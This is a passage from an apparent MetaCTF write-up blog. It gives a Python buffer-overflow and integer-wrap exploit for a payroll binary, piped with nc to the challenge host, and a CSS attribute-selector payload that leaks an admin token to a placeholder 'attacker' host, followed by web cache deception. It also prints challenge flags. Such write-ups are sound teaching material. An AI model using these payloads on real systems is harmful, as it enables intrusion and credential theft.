&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;         idx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 128&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;         if&lt;&#x2F;span&gt;&lt;span&gt; idx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; table:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;             next_state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; table[idx]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;             if&lt;&#x2F;span&gt;&lt;span&gt; next_state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; == 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;33&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...                 print&lt;&#x2F;span&gt;&lt;span&gt;(path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(c))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;             if&lt;&#x2F;span&gt;&lt;span&gt; next_state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; not in&lt;&#x2F;span&gt;&lt;span&gt; visited:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;                 visited.add(next_state)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;                 queue.append((next_state, path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(c)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MetaCTF{st4t3s_4r3_jus7_gr4phs}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;carry-the-one&quot;&gt;Carry the One&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;BudgetWarden is the internal payroll tool for a small consulting firm. The
developers kept things simple… Maybe a bit too simple?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Download the binary
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;75b94522c008809cf6583ee11b5129cc&#x2F;payroll&quot;&gt;here&lt;&#x2F;a&gt; and
when you’re ready, connect to the prod instance with &lt;code&gt;nc kubenode.mctf.io 31100&lt;&#x2F;code&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Looking at the binary:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;read(0, rsp, 0x200)&lt;&#x2F;code&gt; at &lt;code&gt;0x4012b9&lt;&#x2F;code&gt; reads 512 bytes into a 64-byte stack
buffer &lt;code&gt;(sub rsp, 0x40)&lt;&#x2F;code&gt;—classic stack buffer overflow&lt;&#x2F;li&gt;
&lt;li&gt;the flag is read from &lt;code&gt;&#x2F;app&#x2F;flag.txt&lt;&#x2F;code&gt; by a function at &lt;code&gt;0x4011a0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;There are two main bugs to exploit:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;integer overflow: the running total is a &lt;code&gt;uint16&lt;&#x2F;code&gt;; adding salary 464 to
&lt;code&gt;0xfe30&lt;&#x2F;code&gt; wraps to 0, bypassing the &lt;code&gt;&amp;lt;= 999&lt;&#x2F;code&gt; budget check&lt;&#x2F;li&gt;
&lt;li&gt;stack buffer overflow: &lt;code&gt;read(0, rsp, 0x200)&lt;&#x2F;code&gt; into a 64-byte buffer;
overwrite saved &lt;code&gt;rbx&lt;&#x2F;code&gt; + return address to jump to the flag-reading function&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; struct&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;OVERFLOW_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 72&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;  # 64-byte buffer + 8-byte saved rbx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;FLAG_FUNC&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;4011A6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;  # flag reader&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;RET_GADGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;40101A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;  # stack alignment&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;A&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; OVERFLOW_OFFSET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; struct.pack(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&amp;lt;Q&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; RET_GADGET&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; struct.pack(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&amp;lt;Q&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; FLAG_FUNC&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys.stdout.buffer.write(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;464&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; payload)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…and then firing that at the &lt;code&gt;nc&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; .&#x2F;carry-the-one.py&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; nc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; kubenode.mctf.io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 31100&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;BudgetWarden&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; 2.1 --&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Payroll Manager&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;-------------------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Loaded&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; existing records. Monthly total:&lt;&#x2F;span&gt;&lt;span&gt; $65072&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Add employee&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;2.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Generate summary report&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;3.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Quit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;   Monthly salary:   Added. Running total: 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Add employee&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;2.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Generate summary report&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;3.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; Quit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; Report title:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;=== AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ ===&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;Report&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; generated.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;MetaCTF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;{uint16_wr4p_0p3ns_th3_v4ult}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;phantom&quot;&gt;Phantom&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;PhantomNet Industries prides itself on its impenetrable internal
collaboration portal. The CISO personally signed off on it!&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;See if you can get access to the classified document stored in the admin’s
vault. You can create an account, and the admin is known to review any links
submitted through the portal’s reporting system.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Download the source
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;fe598c8e974793a78e0fee01a3f65d68&#x2F;phantom.zip&quot;&gt;here&lt;&#x2F;a&gt;,
and spawn an instance of the challenge below. Good luck!&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I completely went down the wrong rabbit-hole for this one, my notes at the
time being:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;stored XSS via &lt;code&gt;&amp;lt;style&amp;gt;&lt;&#x2F;code&gt; injection—&lt;code&gt;sanitizeBio()&lt;&#x2F;code&gt; blocks &lt;code&gt;&amp;lt;script&amp;gt;&lt;&#x2F;code&gt;, event
handlers and specific tags like &lt;code&gt;svg&lt;&#x2F;code&gt;, &lt;code&gt;form&lt;&#x2F;code&gt;, &lt;code&gt;iframe&lt;&#x2F;code&gt;, etc. but not
&lt;code&gt;&amp;lt;style&amp;gt;&lt;&#x2F;code&gt;. The dashboard renders every user’s bio with &lt;code&gt;&amp;lt;%-&lt;&#x2F;code&gt; (raw HTML).
CSP blocks scripts but &lt;code&gt;style-src &#x27;unsafe-inline&#x27; *&lt;&#x2F;code&gt; allows any CSS&lt;&#x2F;li&gt;
&lt;li&gt;CSS exfiltration—the admin’s dashboard contains:&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;secrets-link&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&#x2F;admin&#x2F;secrets?token=ADMIN_TOKEN&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CSS attribute selectors can leak this token character by character:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;css&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;   a&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;*=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;token=a&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; background&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;https:&#x2F;&#x2F;attacker&#x2F;?c=a&lt;&#x2F;span&gt;&lt;span&gt;) }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;   a&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;*=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;token=b&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;] {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; background&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; url&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;https:&#x2F;&#x2F;attacker&#x2F;?c=b&lt;&#x2F;span&gt;&lt;span&gt;) }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8B949E;&quot;&gt;   &#x2F;* ... *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;…and event managed to do it!&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;❯&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; .&#x2F;phantom.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;109&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb28&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e65&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e651&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f27c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f27cf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f27cf8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f27cf82&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt;1099cd3f58eb285bb43e6518f27cf82e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Of course, that’s completely wrong and the final solution is a touch simpler.&lt;&#x2F;p&gt;
&lt;p&gt;It’s actually a &lt;em&gt;web cache deception&lt;&#x2F;em&gt;; NGINX can be made to cache the admin’s
dashboard by submitting &lt;code&gt;&#x2F;dashboard;{random}.css&lt;&#x2F;code&gt; to the bot, then simply
view that page.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&amp;gt;&amp;gt; import&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; uuid&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
